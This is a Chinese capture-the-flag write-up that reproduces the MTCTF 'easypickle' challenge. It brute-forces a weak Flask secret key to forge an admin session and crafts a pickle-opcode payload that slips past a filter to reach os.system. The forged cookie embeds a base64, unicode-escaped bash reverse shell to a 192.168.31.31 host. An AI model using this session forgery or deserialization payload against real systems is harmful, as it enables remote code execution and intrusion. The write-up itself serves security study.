IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> MTCTF-easypiclke复现 -> 正文阅读

[Python知识库]MTCTF-easypiclke复现

MTCTF-easypickle复现

比赛的时候不太会,现在看了看师傅的题解来复现一下

给出了题目源码:

import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)
首先看一下代码

发现在admin路由中我们需要绕过判定,需要session=admin
更改session需要上面用到的·secret_key·题目中只随机了两位16进制数,可以爆破。
pysnow师傅的博客
利用到如下爆破脚本:

import os

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM(ABC):
    def encode(secret_key, session_cookie_structure):
        """ Encode a Flask session cookie """
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
            raise e

    def decode(session_cookie_value, secret_key=None):
        """ Decode a Flask cookie  """
        try:
            if (secret_key == None):
                compressed = False
                payload = session_cookie_value

                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]

                data = payload.split(".")[0]

                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)

                return data
            else:
                app = MockApp(secret_key)

                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)
            raise e


dic = '0123456789abcdef'
if __name__ == '__main__':
    for i in dic:
        for j in dic:
            for k in dic:
                for l in dic:
                    key = i + j + k + l
                    res = FSCM.decode('eyJ1c2VyIjoibm5paW0ifQ.Yyrhow.NIYgwjGyUN8mNVMPO861CKafw9M', key)
                    if 'user' in str(res):
                        print(key)
                        res = FSCM.encode(key,'{"user":"admin","ser_data":"KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMmRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMmRcdTAwNjlcdTAwM2VcdTAwMjZcdTAwMmZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMmZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMmZcdTAwMzFcdTAwMzlcdTAwMzJcdTAwMmVcdTAwMzFcdTAwMzZcdTAwMzhcdTAwMmVcdTAwMzNcdTAwMzFcdTAwMmVcdTAwMzNcdTAwMzFcdTAwMmZcdTAwMzJcdTAwMzNcdTAwMzNcdTAwMzNcdTAwMjBcdTAwMzBcdTAwM2VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu"}')
                        print(res)
                        exit()

解释一下代码
因为他是2位十六进制所以我们直接用四位爆破将我们从题目中的session拿到***(必须拿到发包之后服务器的set-session中的值)***
将user替换成admin即可完成第一步验证进入else
接下来看下面检测代码:

            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"

我们需要传入ser_data下面会进行一次pickle.loads()方法也也就是说我们需要构造ser_data的value来让其反序列化RCE
但是它屏蔽了R i o b四个操作码
这里是不太好绕过的
但是我们观察一下代码的逻辑
这个if函数只是判断了a中的代码
但是我们反序列化的是没有替换的payload
那么就给了我们利用的空间
我们可以最后在执行的时候利用o操作码,后面紧跟着s操作码,构造出os
这样在进入if之前os会被替换成Os,其中的o就会消失完成绕过

先附上我的payload:

payload = b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''

将他转换成人能看懂的

    0: (    MARK										先传入一个标志到堆栈上,
    1: S        STRING     'key1'						给栈添加一行string类型数据key1
    9: S        STRING     'val1'						给栈添加一行string数据val1
   17: d        DICT       (MARK at 0)					将堆栈里面的所有数据取出然后组成字典放入堆栈
   18: S    STRING     'vul'							放入一个string类型数据vul
   25: (    MARK										再传入一个标志
   26: c        GLOBAL     'os system'					c操作码提取下面的两行作为module下的一个全局对象此时就是os.system
   37: V        UNICODE    'calc'						读入一个字符串,以\n结尾;然后把这个字符串压进栈中
   43: o        OBJ        (MARK at 25)					o操作码建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数))
   44: s    SETITEM										从堆栈中弹出三个值,一个字典,一个键和值。键/值条目是添加到字典,它被推回到堆栈上
   45: .    STOP

这样构造之后就可以反序列化出os.system(calc)弹出计算机了
之后我们只需要把calc命令替换成反弹shell的指令就行
注意因为反弹shell中是需要用到i参数的,而i参数会被检测,但是V操作码是可以识别\u的所以我们可以把我们的代码进行unicode编码然后放入payload中
pickle介绍

调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价

GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)  

INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')  
输入:module,callable,para 

OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls') 
输入:callable,para

xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

li[0]=321
或
globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值

xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置

return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)`
  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-09-25 23:11:09  更:2022-09-25 23:11:12 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 2:46:34-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计